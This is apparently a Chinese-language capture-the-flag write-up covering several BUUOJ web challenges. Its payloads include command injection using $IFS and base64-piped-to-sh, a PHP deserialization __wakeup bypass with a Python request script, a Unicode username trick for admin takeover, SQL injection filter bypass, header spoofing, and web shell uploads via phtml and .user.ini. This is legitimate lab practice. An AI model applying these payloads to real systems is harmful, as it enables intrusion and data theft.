[GXYCTF2019]Ping Ping Ping
Payload
http://bb4aec85-2489-43de-8192-4c043b7d3eed.node3.buuoj.cn/?ip=127.0.0.1|cat$IFS$1`ls`
反引号会执行命令
还有一种Payload,如下
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
用sh执行base64解析后的cat flag.php
[极客大挑战 2019]Knife
菜刀直接连接
[ACTF2020 新生赛]Exec
用类似上面的127.0.0.1 | cat /flag就完事了
[极客大挑战 2019]PHP
源码泄露,扫描到www.zip
下载后发现反序列化
写一个绕过wakeup即可
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
}
$qq = new Name('admin',100);
print_r(serialize($qq));
?>
然后把生成的两个参数改成三个参数并输出到文件
import requests
config_method = 'GET'
config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}
def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
print(r.text)
f = open('solver.txt','rb')
line = f.readlines()
print(line)
data = dict()
data['select'] = line[0]
print(data)
get('http://8a69052c-617c-4cd0-9b1a-95de066b7e68.node3.buuoj.cn',data)
[HCTF 2018]admin
首先我们随便注册一个用户后登录,发现了这个东西是会回显用户名的,所以猜测是一个二次注入
但是这个用户的注册要验证码,所以没办法自动化注册,还得手动搞
然后登录后,发现有POST,改密码的功能。
看看POST是怎么一回事:貌似就是直接发送一条信息过去,可能管理员会看,从而泄露Cookie
不过还是挺难下手的。。。先去搜搜wp
好,于是题解说有三种做法
我们先源码泄露一波
https://github.com/woadsl1234/hctf_flask/
具体来说,我计划使用的是strlower漏洞。
我们直接操作一波,注册一个名为ᴬᴰᴹᴵᴺ的用户,来一波改密码的操作,之后直接登录admin,即可。
[极客大挑战 2019]Http
看源码找到一个文件叫Secret.php,那么我们继续操作一波
然后提示我们要从另一个网站访问过来
那么一般就是要修正Referer,我们改一下
然后要我们修正浏览器
直接改User-Agent就行
改完之后
这里我们直接改X-Forwarded-For就能达成目的。
不过,有一种比较别致的姿势,是改Host来实现的,具体见我的这篇文章或是这位大佬的文章中的Host me的解法。
[极客大挑战 2019]BabySQL
标准的SQL注入题。先来一波随便注入
然后发现直接删掉了之前万能密码的OR,推测可以双写,然后就成功了
然后跟之前走相同套路就可以了
[极客大挑战 2019]Upload
貌似是个传图片的东西,那么我们传一波图片
然后提示
明明什么都没加。。。不过看样子不加是不行了
上传一个phtml形式的shell,拿到flag
[SUCTF 2019]CheckIn
不会做,看看题解得知是用的.user.ini的漏洞,比较神奇。主要利用点在于两个设置的参数:auto_prepend_file和auto_append_file,分别是在文件的最前面和文件的最后面包含一个require。
所以我们传个图片马上去,再传个.user.ini上去,就可以触发shell拿到权限。
总结一下,利用条件大致是:目录下有php文件,可以上传.user.ini到这个目录下,服务器使用CGI/FastCGI模式。
我们来操作一下
访问index拿到flag。
[ACTF2020 新生赛]BackupFile
找到敏感文件index.php.bak,从而看源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
注意到使用的是弱比较,所以就可以想办法绕过了。
我们操作一下
http://813813fb-926f-4310-a9bf-e835e5b09beb.node3.buuoj.cn/?key=123
弱比较会截断后面的字符串,化为数字
Comments NOTHING